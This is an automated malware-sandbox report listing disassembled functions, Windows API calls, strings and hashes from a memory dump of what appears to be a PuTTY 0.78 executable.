                                                                                                                                                    • InsertMenuA.USER32(00000010,00000800,00000200,00000000), ref: 002F6647
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Menu$DeleteInsert$AppendCreatePopup
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c$IDM_SPECIAL_MIN + 0x10 * i < IDM_SPECIAL_MAX$S&pecial Command$nesting < 2
                                                                                                                                                    • API String ID: 1803796953-2735854202
                                                                                                                                                    • Opcode ID: 8ac178f358ed138dd3f63a4ad9a41402aa9916d89fefc93b6c7e9f0945de8e77
                                                                                                                                                    • Instruction ID: 7c20eb4738d306f4d0831649689b42af539e2bb3df14ff9a4c166ccbaadaac1c
                                                                                                                                                    • Opcode Fuzzy Hash: 8ac178f358ed138dd3f63a4ad9a41402aa9916d89fefc93b6c7e9f0945de8e77
                                                                                                                                                    • Instruction Fuzzy Hash: 75512870B10308ABEB256F15EC4AF36B7ADEB84740F54443DF609AB2E1DAB1AC14DB44
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031C330 Relevance: 28.1, APIs: 5, Strings: 11, Instructions: 146timeCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetCommState.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,00000000,00000000,0031C140,?), ref: 0031C34C
                                                                                                                                                    • SetCommState.KERNEL32(00000000,?), ref: 0031C48F
                                                                                                                                                    • SetCommTimeouts.KERNEL32(00000000), ref: 0031C4C4
                                                                                                                                                    • GetLastError.KERNEL32 ref: 0031C4D3
                                                                                                                                                      • Part of subcall function 0032CC90: FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,0000FFFF,00000000,?,?,?,?,003269BE,?), ref: 0032CD1B
                                                                                                                                                      • Part of subcall function 0032CC90: _strlen.LIBCMT ref: 0032CD26
                                                                                                                                                    • GetLastError.KERNEL32 ref: 0031C4EA
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Comm$ErrorLastState$FormatMessageTimeouts_strlen
                                                                                                                                                    • String ID: Configuring %s$Configuring %s flow control$Configuring %s parity$Configuring %u data bits$Configuring baud rate %lu$Configuring serial port: %s$Configuring serial timeouts: %s$DSR/DTR$Invalid number of stop bits (need 1, 1.5 or 2)$RTS/CTS$XON/XOFF
                                                                                                                                                    • API String ID: 617136254-604002008
                                                                                                                                                    • Opcode ID: 50c3fdc2cc9e1ae81fe17a1417dc62d3ba19497d346d62a418f520b7176842c0
                                                                                                                                                    • Instruction ID: 042ddf242ee2c82e4d89850a84c5f01c116a37b97b197c5e744c8be557709304
                                                                                                                                                    • Opcode Fuzzy Hash: 50c3fdc2cc9e1ae81fe17a1417dc62d3ba19497d346d62a418f520b7176842c0
                                                                                                                                                    • Instruction Fuzzy Hash: 0C4136B2918310AFD307AF25FC52B6F7FA8AB48714F040429F949DE293E635DA548793
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00340E70 Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 240COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • Remote side unexpectedly closed network connection, xrefs: 003412DA
                                                                                                                                                    • Internal SSPI error, xrefs: 00340EA8
                                                                                                                                                    • No authority could be contacted for authentication.The domain name of the authenticating party could be wrong, the domain could be unreachable, or there might have been a trust relationship failure., xrefs: 00340ED9
                                                                                                                                                    • Invalid packet length received, xrefs: 003412B3
                                                                                                                                                    • Remote side closed network connection, xrefs: 003412A6
                                                                                                                                                    • The target was not recognized., xrefs: 00340EB6
                                                                                                                                                    • The error is due to a malformed input token, such as a token corrupted in transit, a token of incorrect size, or a token passed into the wrong security package. Passing a token to the wrong package can happen if client and server did not negotiate the proper s, xrefs: 00340EC4
                                                                                                                                                    • The Local Security Authority cannot be contacted., xrefs: 00340EBD
                                                                                                                                                    • One or more of the SecBufferDesc structures passed as an OUT parameter has a buffer that is too small., xrefs: 00340E91
                                                                                                                                                    • No credentials are available in the security package., xrefs: 00340ED2
                                                                                                                                                    • The handle passed to the function is invalid., xrefs: 00340EAF
                                                                                                                                                    • SSPI status OK, xrefs: 00340E9F, 00340EDE
                                                                                                                                                    • The logon failed., xrefs: 00340ECB
                                                                                                                                                    • Remote side sent SSH2_MSG_EXT_INFO in bare connection protocol, xrefs: 003412CB
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: Internal SSPI error$Invalid packet length received$No authority could be contacted for authentication.The domain name of the authenticating party could be wrong, the domain could be unreachable, or there might have been a trust relationship failure.$No credentials are available in the security package.$One or more of the SecBufferDesc structures passed as an OUT parameter has a buffer that is too small.$Remote side closed network connection$Remote side sent SSH2_MSG_EXT_INFO in bare connection protocol$Remote side unexpectedly closed network connection$SSPI status OK$The Local Security Authority cannot be contacted.$The error is due to a malformed input token, such as a token corrupted in transit, a token of incorrect size, or a token passed into the wrong security package. Passing a token to the wrong package can happen if client and server did not negotiate the proper s$The handle passed to the function is invalid.$The logon failed.$The target was not recognized.
                                                                                                                                                    • API String ID: 4218353326-2735777550
                                                                                                                                                    • Opcode ID: 47dc21b237b889593823f936b7771eba4d2daf5448f0aab196af2ea642552eee
                                                                                                                                                    • Instruction ID: cf38e589813a0f8553d56ac6f1375fec8106a9e5ec394bd51eac455cb23c8723
                                                                                                                                                    • Opcode Fuzzy Hash: 47dc21b237b889593823f936b7771eba4d2daf5448f0aab196af2ea642552eee
                                                                                                                                                    • Instruction Fuzzy Hash: C9919CB6A00A02AFD706DF18E845B65BBB5FF48314F048529E4198F752E372F8A5CBD1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030F350 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 214windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 0030F396
                                                                                                                                                    • MapDialogRect.USER32(?,?), ref: 0030F48F
                                                                                                                                                    • CreateWindowExA.USER32 ref: 0030F4CA
                                                                                                                                                    • SendMessageA.USER32(00000000,00000030,?,00000001), ref: 0030F4D6
                                                                                                                                                    • MapDialogRect.USER32(?,000000B0), ref: 0030F5B4
                                                                                                                                                    • GetDlgItem.USER32 ref: 0030F5BB
                                                                                                                                                    • SetWindowPos.USER32(00000000,00000000,?,?,00000000,00000000,0000000D), ref: 0030F5D2
                                                                                                                                                    • MapDialogRect.USER32(?,00000000), ref: 0030F5FE
                                                                                                                                                    • GetWindowRect.USER32 ref: 0030F62F
                                                                                                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,0000012C,0000000E), ref: 0030F652
                                                                                                                                                    • ShowWindow.USER32(?,00000001), ref: 0030F65B
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Rect$Dialog$MessageSend$CreateItemShow
                                                                                                                                                    • String ID: EDIT$P$STATIC$d
                                                                                                                                                    • API String ID: 2328128272-163579123
                                                                                                                                                    • Opcode ID: a94de735ab7080ea886dc01bbe46e7902e1c5004907995abd73d3ed13ad4d52c
                                                                                                                                                    • Instruction ID: c2f39238aeb791d431aadf80690ed08c2cdaaba2b389720a2a25e18a702026f0
                                                                                                                                                    • Opcode Fuzzy Hash: a94de735ab7080ea886dc01bbe46e7902e1c5004907995abd73d3ed13ad4d52c
                                                                                                                                                    • Instruction Fuzzy Hash: 94815771508340AFE761CF54DC84F5BBBE9EB88744F40491DFA899B2A0C7B6E944CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030D410 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 95COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SetWindowTextA.USER32(?,00000000), ref: 0030D455
                                                                                                                                                    • SetDlgItemTextA.USER32 ref: 0030D49E
                                                                                                                                                      • Part of subcall function 0032F670: GetDlgItem.USER32 ref: 0032F67C
                                                                                                                                                      • Part of subcall function 0032F670: GetWindowLongA.USER32 ref: 0032F68D
                                                                                                                                                      • Part of subcall function 0032F670: GetWindowLongA.USER32 ref: 0032F694
                                                                                                                                                      • Part of subcall function 0032F670: SetWindowLongA.USER32 ref: 0032F6AE
                                                                                                                                                      • Part of subcall function 0032F670: SetWindowLongA.USER32 ref: 0032F6B4
                                                                                                                                                      • Part of subcall function 0032F670: SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 0032F6C3
                                                                                                                                                    • ShellExecuteA.SHELL32(?,open,https://www.chiark.greenend.org.uk/~sgtatham/putty/,00000000,00000000,0000000A), ref: 0030D4F1
                                                                                                                                                    • EndDialog.USER32(?,00000001), ref: 0030D4FC
                                                                                                                                                    • EnableWindow.USER32(?,00000000), ref: 0030D514
                                                                                                                                                    • DialogBoxParamA.USER32 ref: 0030D526
                                                                                                                                                    • EnableWindow.USER32(?,00000001), ref: 0030D52F
                                                                                                                                                    • SetActiveWindow.USER32(?), ref: 0030D532
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Long$DialogEnableItemText$ActiveExecuteParamShell
                                                                                                                                                    • String ID: %s%s%s%s$About %s$F~=$PuTTY$Release 0.78$https://www.chiark.greenend.org.uk/~sgtatham/putty/$open
                                                                                                                                                    • API String ID: 2657381607-572635615
                                                                                                                                                    • Opcode ID: e43b11c03938ee9550ea1e854a09929603a0498ed6fe996b75ae9a8629374fcf
                                                                                                                                                    • Instruction ID: 70738740bfec9eff1fde401e8ce30131f4da0c8b5dc015ff4966417d072b82fb
                                                                                                                                                    • Opcode Fuzzy Hash: e43b11c03938ee9550ea1e854a09929603a0498ed6fe996b75ae9a8629374fcf
                                                                                                                                                    • Instruction Fuzzy Hash: DA21F8B2A413507BE2236761BCDFFAF365CD751B19F010521FA03AE2D2D6A6AD408662
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032C1D0 Relevance: 26.3, APIs: 7, Strings: 8, Instructions: 86libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetSecurityInfo), ref: 0032C206
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SetSecurityInfo), ref: 0032C22C
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 0032C252
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetTokenInformation), ref: 0032C278
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,InitializeSecurityDescriptor), ref: 0032C29A
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SetSecurityDescriptorOwner), ref: 0032C2B8
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SetEntriesInAclA), ref: 0032C2DB
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc
                                                                                                                                                    • String ID: GetSecurityInfo$GetTokenInformation$InitializeSecurityDescriptor$OpenProcessToken$SetEntriesInAclA$SetSecurityDescriptorOwner$SetSecurityInfo$advapi32.dll
                                                                                                                                                    • API String ID: 190572456-1260934078
                                                                                                                                                    • Opcode ID: 9beeccf9b0184adb97e782344bd870fa53723e79bb3b0d055070dde0f183e762
                                                                                                                                                    • Instruction ID: 65d20d438007559fd698df8ea83a182039243c29bf65931f7803725da760f76a
                                                                                                                                                    • Opcode Fuzzy Hash: 9beeccf9b0184adb97e782344bd870fa53723e79bb3b0d055070dde0f183e762
                                                                                                                                                    • Instruction Fuzzy Hash: 743114B46103A2BADB13DF25FC59B3E3BACB705384F05AD29E401D66A0DB79C940CB21
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00356400 Relevance: 24.9, APIs: 9, Strings: 5, Instructions: 373COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • MD5:, xrefs: 003564A6
                                                                                                                                                    • 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/=, xrefs: 00356795, 0035682B
                                                                                                                                                    • SHA256:, xrefs: 0035647A
                                                                                                                                                    • 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/, xrefs: 0035648F
                                                                                                                                                    • 0123456789abcdefABCDEF:, xrefs: 003564D4
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strspn$_strlen
                                                                                                                                                    • String ID: 0123456789abcdefABCDEF:$0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/$0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/=$MD5:$SHA256:
                                                                                                                                                    • API String ID: 937825679-3738422337
                                                                                                                                                    • Opcode ID: 6d160c67b34baf1ed19db4efd7fe1caf5e04803036f08330ab6975c803afe702
                                                                                                                                                    • Instruction ID: 5f011052014957d37b1b5ecd1ff7eb4f809996023ae077b520e5a5894b3fdb8c
                                                                                                                                                    • Opcode Fuzzy Hash: 6d160c67b34baf1ed19db4efd7fe1caf5e04803036f08330ab6975c803afe702
                                                                                                                                                    • Instruction Fuzzy Hash: 62C15B50F043A127EF3741148422B3EAADA578BB4DF99824BC8C147796CAA59E5FC3D3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003145E0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 122registryCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • RegisterClassA.USER32 ref: 0031467F
                                                                                                                                                    • GetSysColor.USER32(00000018), ref: 00314693
                                                                                                                                                    • GetSysColor.USER32(00000017), ref: 0031469C
                                                                                                                                                    • SystemParametersInfoA.USER32(00000029,00000158,00000158,00000000), ref: 003146CD
                                                                                                                                                    • CreateFontIndirectA.GDI32(?), ref: 003146DB
                                                                                                                                                    • SetWindowTextA.USER32(00000000,?), ref: 00314705
                                                                                                                                                    • CreateCompatibleDC.GDI32(00000000), ref: 00314719
                                                                                                                                                    • _strlen.LIBCMT ref: 00314722
                                                                                                                                                    • GetTextExtentPoint32A.GDI32(00000000,?,00000000,?), ref: 00314732
                                                                                                                                                    • DeleteDC.GDI32(00000000), ref: 00314739
                                                                                                                                                    • GetWindowRect.USER32 ref: 00314743
                                                                                                                                                    • CreateWindowExA.USER32 ref: 0031478D
                                                                                                                                                    • ShowWindow.USER32(00000000,00000004), ref: 0031479B
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Create$ColorText$ClassCompatibleDeleteExtentFontIndirectInfoParametersPoint32RectRegisterShowSystem_strlen
                                                                                                                                                    • String ID: %dx%d
                                                                                                                                                    • API String ID: 816365731-2206825331
                                                                                                                                                    • Opcode ID: 0fbeea3685a39e0bff317fd5ef488a5394447f3af49fbaa4b1abf316d9180e05
                                                                                                                                                    • Instruction ID: e18179c9169a7e5524fad82708a97e42d5a6909e56ce6fc71b5f024c049ebc4f
                                                                                                                                                    • Opcode Fuzzy Hash: 0fbeea3685a39e0bff317fd5ef488a5394447f3af49fbaa4b1abf316d9180e05
                                                                                                                                                    • Instruction Fuzzy Hash: 20416BB1508340EFE726DF64EC89BAB7BBCEB88704F004919F9459B2E1D7749944CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F72D0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 169windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • Unable to play sound file%sUsing default sound instead, xrefs: 002F73A5
                                                                                                                                                    • %s Sound Error, xrefs: 002F73BA
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CountTick$BeepMessage$CursorShow
                                                                                                                                                    • String ID: %s Sound Error$Unable to play sound file%sUsing default sound instead
                                                                                                                                                    • API String ID: 3991535243-3498667495
                                                                                                                                                    • Opcode ID: a47720fca659d2ea42b80e4a6097f706400c83b755dadacb4c4fba9d992f0940
                                                                                                                                                    • Instruction ID: 625ff67affc3b90b808273386bdd8b2798de7ef7ebe50751e447ea558e790dfa
                                                                                                                                                    • Opcode Fuzzy Hash: a47720fca659d2ea42b80e4a6097f706400c83b755dadacb4c4fba9d992f0940
                                                                                                                                                    • Instruction Fuzzy Hash: 6C510770928246EBDB279F24FD49B397BF9AB44394F040439F6049A1F2D7B28894DB42
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FAA80 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • IsZoomed.USER32 ref: 002FAA95
                                                                                                                                                    • IsZoomed.USER32 ref: 002FAABC
                                                                                                                                                    • GetWindowLongA.USER32 ref: 002FAACE
                                                                                                                                                    • GetWindowLongA.USER32 ref: 002FAAE7
                                                                                                                                                    • SetWindowLongA.USER32 ref: 002FAB19
                                                                                                                                                    • GetDesktopWindow.USER32 ref: 002FAB70
                                                                                                                                                    • GetClientRect.USER32 ref: 002FAB7A
                                                                                                                                                    • SetWindowPos.USER32(00000000,00000000,?,?,?,00000020), ref: 002FABA1
                                                                                                                                                    • CheckMenuItem.USER32(00000180,00000008), ref: 002FABC1
                                                                                                                                                    • CheckMenuItem.USER32(00000180,00000008), ref: 002FABD0
                                                                                                                                                    Strings
                                                                                                                                                    • IsZoomed(wgs.term_hwnd), xrefs: 002FAAA9
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c, xrefs: 002FAAA4
                                                                                                                                                    • (, xrefs: 002FAB3B
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Long$CheckItemMenuZoomed$ClientDesktopRect
                                                                                                                                                    • String ID: ($/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c$IsZoomed(wgs.term_hwnd)
                                                                                                                                                    • API String ID: 4021424604-596742920
                                                                                                                                                    • Opcode ID: 2be738d173ec3cc7e2cc7ca061184795c1bbc8d0a0429543a960248754f63874
                                                                                                                                                    • Instruction ID: b3d93d29b3896cde63f6eb7b31beb0d870023a04894b4a5976ede2f39c7631b8
                                                                                                                                                    • Opcode Fuzzy Hash: 2be738d173ec3cc7e2cc7ca061184795c1bbc8d0a0429543a960248754f63874
                                                                                                                                                    • Instruction Fuzzy Hash: 9231A1B0604301EFDB16AF28ED4AF3A7BA9FB54350F004628F9499A2F0DB70AC14CB51
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0039D65F Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 402COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetModuleHandleExW.KERNEL32(00000006,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0039D705
                                                                                                                                                    • GetModuleFileNameW.KERNEL32(?,?,00000105,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0039D729
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
